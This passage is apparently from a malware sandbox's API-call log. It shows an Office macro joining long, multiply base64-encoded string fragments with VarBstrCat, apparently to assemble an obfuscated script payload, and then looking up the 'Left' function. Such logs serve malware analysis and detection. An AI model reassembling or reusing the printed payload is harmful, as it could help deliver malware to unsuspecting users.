1KRmNITlpNV2hYWWtkTmVsVll", bstrRight="WbE5OYkZsM1ZsY3hWMlZ0VGtoUFdGWnFUV3hXZGxNeFVucGhWVGt6VUZRd2JrOTNjRVZSYWxrd1NVUXdaMXB1Vm5WWk0xSndZakkwYjJONWEyZGxkMjluU1VOQloyUnRSbmxKUjFVNVpUTXdjMkZUZUdsUVZFRnpXWGw0TkV4SGR6bE5RM2hvVEVoSk9VcDVZM05rZWpGVVpFaEtjR0p0WTNWYWJrcDJZbFZPYjFsWVNrUmlNbEpzVEVWM09XTjVOWE5hVnpWdVpFZ", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.630] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHBrUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWFVsbFViazVSVlRGS1VscEdhRTlqTUhRMVZXeE9ZVlpWTlRCWGExSXdXV3hWZW1KSWNHdFNNVm93VkVkek1XSkhVa1JPVm1oaFZqQndWRmRzYUVkTlZuQlpWR3BDV1ZVeFNYcFhiR1JMVlRGd1dWSnFSbUZYUlRSM1ZVWmFNRlpIVmxsVWFrSmhWbnBDTVZaSE1WZE5SWGh6V2tkNFdtSkZjSE5aTVdoWFlrZE5lbFZ0VWxCaGJrSkZXVEl4VjJGSFVraFdWemxMVW10SmVGbDZTak5qUlRrMVZXcE9ZVll3Y0ZSWGJHaEhUVlp3V1ZScVFrMWhla1p6V2tWa2IyUnNjRVZOUnpWV1VsUnNWVlpyVG1wT01IQkpXa2Q0V21KRmNITlpNV2hYWWtkTmVsVllWbE5OYkZsM1ZsY3hWMlZ0VGtoUFdGWnFUV3hXZGxNeFVucGhWVGt6VUZRd2JrOTNjRVZSYWxrd1NVUXdaMXB1Vm5WWk0xSndZakkwYjJONWEyZGxkMjluU1VOQloyUnRSbmxKUjFVNVpUTXdjMkZUZUdsUVZFRnpXWGw0TkV4SGR6bE5RM2hvVEVoSk9VcDVZM05rZWpGVVpFaEtjR0p0WTNWYWJrcDJZbFZPYjFsWVNrUmlNbEpzVEVWM09XTjVOWE5hVnpWdVpFZ", bstrRight="G5OME5wUVdkSlEwSXlXVmhKWjFGVU1HbFJWVXBFVWtWV1IxSXdhRXBUYTNSTlZGVTFVRlZHUmxOVk1WSldWbXhrV1ZkV2NHaFpiVTVyV2xkYWJtRkhiSEZoTW5oMFltMDVkMk5ZU25wa1NGWXlaRE5vTldWcVFYaE5hazB3VGxSWk0wOUVhM0pNZVVrM1EybEJaMGxEUW0xaU0wbHZZVlF3ZDA4eWF6aE9hbEUzWVZOemNrdFlkR3hYTUVWMVdUSm9hR05yUmpCTFI", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.631] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHBrUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWFVsbFViazVSVlRGS1VscEdhRTlqTUhRMVZXeE9ZVlpWTlRCWGExSXdXV3hWZW1KSWNHdFNNVm93VkVkek1XSkhVa1JPVm1oaFZqQndWRmRzYUVkTlZuQlpWR3BDV1ZVeFNYcFhiR1JMVlRGd1dWSnFSbUZYUlRSM1ZVWmFNRlpIVmxsVWFrSmhWbnBDTVZaSE1WZE5SWGh6V2tkNFdtSkZjSE5aTVdoWFlrZE5lbFZ0VWxCaGJrSkZXVEl4VjJGSFVraFdWemxMVW10SmVGbDZTak5qUlRrMVZXcE9ZVll3Y0ZSWGJHaEhUVlp3V1ZScVFrMWhla1p6V2tWa2IyUnNjRVZOUnpWV1VsUnNWVlpyVG1wT01IQkpXa2Q0V21KRmNITlpNV2hYWWtkTmVsVllWbE5OYkZsM1ZsY3hWMlZ0VGtoUFdGWnFUV3hXZGxNeFVucGhWVGt6VUZRd2JrOTNjRVZSYWxrd1NVUXdaMXB1Vm5WWk0xSndZakkwYjJONWEyZGxkMjluU1VOQloyUnRSbmxKUjFVNVpUTXdjMkZUZUdsUVZFRnpXWGw0TkV4SGR6bE5RM2hvVEVoSk9VcDVZM05rZWpGVVpFaEtjR0p0WTNWYWJrcDJZbFZPYjFsWVNrUmlNbEpzVEVWM09XTjVOWE5hVnpWdVpFZG5OME5wUVdkSlEwSXlXVmhKWjFGVU1HbFJWVXBFVWtWV1IxSXdhRXBUYTNSTlZGVTFVRlZHUmxOVk1WSldWbXhrV1ZkV2NHaFpiVTVyV2xkYWJtRkhiSEZoTW5oMFltMDVkMk5ZU25wa1NGWXlaRE5vTldWcVFYaE5hazB3VGxSWk0wOUVhM0pNZVVrM1EybEJaMGxEUW0xaU0wbHZZVlF3ZDA4eWF6aE9hbEUzWVZOemNrdFlkR3hYTUVWMVdUSm9hR05yUmpCTFI", bstrRight="ydHdXRlF4Y0U4ek1FdEpRMEZuU1VkYWRtTnBhRFJRVkVFM1pVUjRUVTh6WjNKTGVXdzNRMmxCWjBsRFFXZEpRMEZuV1hveGJGY3pUWFZaTW1ob1kydEdNRXRJWjNCWVZIUnBVRk5vYVZCRWR6SkxVM1JxVHpKM2NsQlVXVGREYVVGblNVTkJaMGxEUVdka01taHdZa2RWYjJKRU5EbFBRMnczUzBOb2FGQlRhR2xRYWpRclMwZDNkRkJVWjNCTFUxbDNaVWRhYlV0W", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.631] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHBrUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWFVsbFViazVSVlRGS1VscEdhRTlqTUhRMVZXeE9ZVlpWTlRCWGExSXdXV3hWZW1KSWNHdFNNVm93VkVkek1XSkhVa1JPVm1oaFZqQndWRmRzYUVkTlZuQlpWR3BDV1ZVeFNYcFhiR1JMVlRGd1dWSnFSbUZYUlRSM1ZVWmFNRlpIVmxsVWFrSmhWbnBDTVZaSE1WZE5SWGh6V2tkNFdtSkZjSE5aTVdoWFlrZE5lbFZ0VWxCaGJrSkZXVEl4VjJGSFVraFdWemxMVW10SmVGbDZTak5qUlRrMVZXcE9ZVll3Y0ZSWGJHaEhUVlp3V1ZScVFrMWhla1p6V2tWa2IyUnNjRVZOUnpWV1VsUnNWVlpyVG1wT01IQkpXa2Q0V21KRmNITlpNV2hYWWtkTmVsVllWbE5OYkZsM1ZsY3hWMlZ0VGtoUFdGWnFUV3hXZGxNeFVucGhWVGt6VUZRd2JrOTNjRVZSYWxrd1NVUXdaMXB1Vm5WWk0xSndZakkwYjJONWEyZGxkMjluU1VOQloyUnRSbmxKUjFVNVpUTXdjMkZUZUdsUVZFRnpXWGw0TkV4SGR6bE5RM2hvVEVoSk9VcDVZM05rZWpGVVpFaEtjR0p0WTNWYWJrcDJZbFZPYjFsWVNrUmlNbEpzVEVWM09XTjVOWE5hVnpWdVpFZG5OME5wUVdkSlEwSXlXVmhKWjFGVU1HbFJWVXBFVWtWV1IxSXdhRXBUYTNSTlZGVTFVRlZHUmxOVk1WSldWbXhrV1ZkV2NHaFpiVTVyV2xkYWJtRkhiSEZoTW5oMFltMDVkMk5ZU25wa1NGWXlaRE5vTldWcVFYaE5hazB3VGxSWk0wOUVhM0pNZVVrM1EybEJaMGxEUW0xaU0wbHZZVlF3ZDA4eWF6aE9hbEUzWVZOemNrdFlkR3hYTUVWMVdUSm9hR05yUmpCTFIydHdXRlF4Y0U4ek1FdEpRMEZuU1VkYWRtTnBhRFJRVkVFM1pVUjRUVTh6WjNKTGVXdzNRMmxCWjBsRFFXZEpRMEZuV1hveGJGY3pUWFZaTW1ob1kydEdNRXRJWjNCWVZIUnBVRk5vYVZCRWR6SkxVM1JxVHpKM2NsQlVXVGREYVVGblNVTkJaMGxEUVdka01taHdZa2RWYjJKRU5EbFBRMnczUzBOb2FGQlRhR2xRYWpRclMwZDNkRkJVWjNCTFUxbDNaVWRhYlV0W", bstrRight="WVEaExTR2M0UzBWM2RFMXBhM0JMVTFsdFMwaEpjbEJZWTI5WlUydHdUek13UzBsRFFXZEpTREJMU1VOQlowbElTbXhrU0ZaNVltbENlVTkzY0RsUGQzQXlXVmhKWjJJeVNuRlZNbWhzWWtkM09XSnRWak5KUlVacVpFZHNNbHBXYUZCWmJYQnNXVE5SYjBsc1pGUlpNMHB3WTBoUmRWVXlhR3hpUjNkcFMxUnpTMlJ0Um5sSlIyeFRXbGhTTVdOdE5VUmlNbEpzVUZ", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.631] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0VKYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZEplVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXWXpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGExVjRWR3ROTUdWRk5YQk9TSEJQWlZSU05GUlhjRXBrYkVsNVQxaGFZVTF1YUhOV2JHaERZVEZzV1ZWdGVFMU5SMUl5V1dwS2EyTXhjRlJPV0dSb1UwVkZkbFpHWkVkaGJFSlVXWHBrUzFKclNYaFpla296VDFWd1IxRnFSbXBOYm1SNVUydGFTMkpIVWxoaVIzUlFaVlpLVWxwR2FFOWpNVUpVVld4R2ExZEZOWHBUTTJ4cVRERktTRkpxUWxwV1JFSjFWRE5zVTFWWFVsbFViazVSVlRGS1VscEdhRTlqTUhRMVZXeE9ZVlpWTlRCWGExSXdXV3hWZW1KSWNHdFNNVm93VkVkek1XSkhVa1JPVm1oaFZqQndWRmRzYUVkTlZuQlpWR3BDV1ZVeFNYcFhiR1JMVlRGd1dWSnFSbUZYUlRSM1ZVWmFNRlpIVmxsVWFrSmhWbnBDTVZaSE1WZE5SWGh6V2tkNFdtSkZjSE5aTVdoWFlrZE5lbFZ0VWxCaGJrSkZXVEl4VjJGSFVraFdWemxMVW10SmVGbDZTak5qUlRrMVZXcE9ZVll3Y0ZSWGJHaEhUVlp3V1ZScVFrMWhla1p6V2tWa2IyUnNjRVZOUnpWV1VsUnNWVlpyVG1wT01IQkpXa2Q0V21KRmNITlpNV2hYWWtkTmVsVllWbE5OYkZsM1ZsY3hWMlZ0VGtoUFdGWnFUV3hXZGxNeFVucGhWVGt6VUZRd2JrOTNjRVZSYWxrd1NVUXdaMXB1Vm5WWk0xSndZakkwYjJONWEyZGxkMjluU1VOQloyUnRSbmxKUjFVNVpUTXdjMkZUZUdsUVZFRnpXWGw0TkV4SGR6bE5RM2hvVEVoSk9VcDVZM05rZWpGVVpFaEtjR0p0WTNWYWJrcDJZbFZPYjFsWVNrUmlNbEpzVEVWM09XTjVOWE5hVnpWdVpFZG5OME5wUVdkSlEwSXlXVmhKWjFGVU1HbFJWVXBFVWtWV1IxSXdhRXBUYTNSTlZGVTFVRlZHUmxOVk1WSldWbXhrV1ZkV2NHaFpiVTVyV2xkYWJtRkhiSEZoTW5oMFltMDVkMk5ZU25wa1NGWXlaRE5vTldWcVFYaE5hazB3VGxSWk0wOUVhM0pNZVVrM1EybEJaMGxEUW0xaU0wbHZZVlF3ZDA4eWF6aE9hbEUzWVZOemNrdFlkR3hYTUVWMVdUSm9hR05yUmpCTFIydHdXRlF4Y0U4ek1FdEpRMEZuU1VkYWRtTnBhRFJRVkVFM1pVUjRUVTh6WjNKTGVXdzNRMmxCWjBsRFFXZEpRMEZuV1hveGJGY3pUWFZaTW1ob1kydEdNRXRJWjNCWVZIUnBVRk5vYVZCRWR6SkxVM1JxVHpKM2NsQlVXVGREYVVGblNVTkJaMGxEUVdka01taHdZa2RWYjJKRU5EbFBRMnczUzBOb2FGQlRhR2xRYWpRclMwZDNkRkJVWjNCTFUxbDNaVWRhYlV0WWVEaExTR2M0UzBWM2RFMXBhM0JMVTFsdFMwaEpjbEJZWTI5WlUydHdUek13UzBsRFFXZEpTREJMU1VOQlowbElTbXhrU0ZaNVltbENlVTkzY0RsUGQzQXlXVmhKWjJJeVNuRlZNbWhzWWtkM09XSnRWak5KUlVacVpFZHNNbHBXYUZCWmJYQnNXVE5SYjBsc1pGUlpNMHB3WTBoUmRWVXlhR3hpUjNkcFMxUnpTMlJ0Um5sSlIyeFRXbGhTTVdOdE5VUmlNbEpzVUZ", bstrRight="jNWFXRnNUbTlhVjNoelRHeEtNV0pwYUVWUmFsa3dTMGROY0V4RVFYTmFiVVp6WXpKVmNFOTNQVDA9", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.632] IMalloc:Realloc (This=0x7feffc15380, pv=0x6444e30, cb=0x1000) returned 0x661bc20 [0053.632] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0053.632] IUnknown:Release (This=0x68569a0) returned 0x6 [0053.632] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef10ee, cbMultiByte=5, lpWideCharStr=0x124d20, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0053.632] ITypeComp:RemoteBind (in: This=0x68569a8, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x124cd8, pDescKind=0x124cec, ppFuncDesc=0x124cf0, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124cd8*=0x0, pDescKind=0x124cec*=0, ppFuncDesc=0x124cf0, 